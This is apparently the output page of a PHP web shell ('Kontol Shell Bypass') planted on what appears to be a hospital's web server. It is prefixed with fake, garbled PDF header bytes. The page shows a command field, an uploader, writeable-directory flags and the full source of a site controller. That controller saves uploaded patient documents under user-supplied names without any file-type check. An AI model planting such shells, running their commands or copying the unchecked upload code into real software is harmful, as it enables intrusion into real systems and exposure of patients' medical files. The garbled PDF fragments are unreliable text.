%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital_old.org/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital_old.org/application/controllers/InternationalPatients.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class InternationalPatients extends CI_Controller {

	/**
	 * Index Page for this controller.
	 *
	 * Maps to the following URL
	 * 		http://example.com/index.php/welcome
	 *	- or -
	 * 		http://example.com/index.php/welcome/index
	 *	- or -
	 * Since this controller is set as the default controller in
	 * config/routes.php, it's displayed at http://example.com/
	 *
	 * So any other public methods not prefixed with an underscore will
	 * map to /index.php/welcome/<method_name>
	 * @see https://codeigniter.com/user_guide/general/urls.html
	 */
	
	function __construct() {
        parent::__construct();
        
       $this->load->model('appointment_model', 'appointment');
           
    }
	
	public function index()
	{
		$data = array();
		
		$seoArray = getdynamicseo($this->uri->segment(1));
		
	    $data['page_title'] = $seoArray->SEOTitle!='' ? $seoArray->SEOTitle : 'International Patients|Sharda Hospital';
	    $data['page_description'] = $seoArray->SEODescription!='' ? $seoArray->SEODescription : 'International Patients|Sharda Hospital';
	    $data['page_keyword'] = $seoArray->SEOKeywords!='' ? $seoArray->SEOKeywords : 'International Patients|Sharda Hospital';	
	    
	  //  $data['page_title'] = 'International Patients|Sharda Hospital';
	    
	     //To be used in header forms
		$data['departments_list']=$this->department->get_department_list( 'DepartmentType ASC', 'A');
		
		$data['coes'] = $this->department->get_departments_summary('',array('COE'));
        
		$data['header_css'] = '<!--slider css-->
		<link rel="stylesheet" href="'.base_url().'assets/css/owl.carousel.css" />
		<link rel="stylesheet" href="'.base_url().'assets/css/slider/owl.theme.default.min.css">
		<!--slider css-->';
	
		$post=$this->input->post();
	    
		if($post){
	       		$this->form_validation->set_rules('full_name', 'Full Name', 'required|trim');
				$this->form_validation->set_rules('age', 'Age', 'trim|required');
				$this->form_validation->set_rules('gender', 'Gender', 'required');
				$this->form_validation->set_rules('medical_procedure', 'Medical Procedure', 'required');
				$this->form_validation->set_rules('country', 'Country', 'required');
				$this->form_validation->set_rules('contact_number', 'Contact Number', 'trim|required|numeric|min_length[10]');
				$this->form_validation->set_rules('email_id', 'Email ID', 'trim|required|valid_email');
				if ($this->form_validation->run() == FALSE)
				{
						$error = $this->form_validation->error_array();
						$error_msg = implode('\n',$error);
						$data['submit_status_msg'] = '<span style="color:red;font-size:12px; margin-top:0px;">Your Request could not be submitted:\n</span>'.$error_msg;
						
				} else {
						$documents = $_FILES['documents']['name']; 
						if(!empty($documents)){
							$filepath =  'uploads/getanestimate/'.time().'_'.$documents;
							$movefile_status = move_uploaded_file($_FILES["documents"]["tmp_name"],$filepath);	
						} else {
							$filepath = '';
						}	
						
						$medical_prescription = $_FILES['last_medical_prescription']['name']; 
						if(!empty($medical_prescription)){
							$fileNewpath =  'uploads/getanestimate/'.time().'_'.$medical_prescription;
							$medical_prescription_status = move_uploaded_file($_FILES["last_medical_prescription"]["tmp_name"],$fileNewpath);	
						} else {
							$filepath = '';
						}	
						$insert_data = array(
							'full_name' => $post['full_name'],
							'contact_number' => $post['contact_number'],
							'email_id' => $post['email_id'],
							'gender' => $post['gender'],
							'age' => $post['age'],
							'country' => $post['country'],
							'medical_procedure' => $post['medical_procedure'],
							'documents' => $documents,
							'comments' => $post['comments'],
							'medical_prescription' => $medical_prescription
						);
					
					$success = $this->appointment->insert_getanestimate($insert_data);
			
					if($success>0){
						$data = $this->appointment->get_getanestimate(array('id'=>$success));
						$patientmail = $data['email_id'];
						$msg = $this->load->view("email_templates/appointment_request", $data, TRUE);
						$this->email->from('info@shardahospital.org', 'Appointment Request');
						if($data['RequestLocation']=='International') { $to = 'queries@shardahospital.org'; } else { $to = 'marketing@shardahospital.org'; }
						$this->email->to($to);
						$this->email->bcc($patientmail);
						$this->email->cc('digital.marketing@shardahospital.org'); 
						$this->email->subject('Book Appointment with sharda hospital'." | ".$currentTime);
						$this->email->set_mailtype("html");
						$this->email->message($msg);
						//$this->email->send();
						
						$data['submit_status_msg'] = '<span style="color:green;font-size:12px; margin-top:0px;">Your Appointment Request has been submitted successfully. We will contact you soon!</span>';
						
						//send_email_multiple("abdesh@futuretechin.com","marketing@shardahospital.org", "", "digital.marketing@shardahospital.org", "Appointment Request", $msg);
						//	    redirect(base_url()."success");
					}
					else{
						$data['submit_status_msg'] = '<span style="color:red;font-size:12px; margin-top:0px;">Unable to submit your request. Kindly try again later.</span>';
					}
				
				}
			
	
	    }

		$this->load->view('international_patients',$data);
	}

}

Kontol Shell Bypass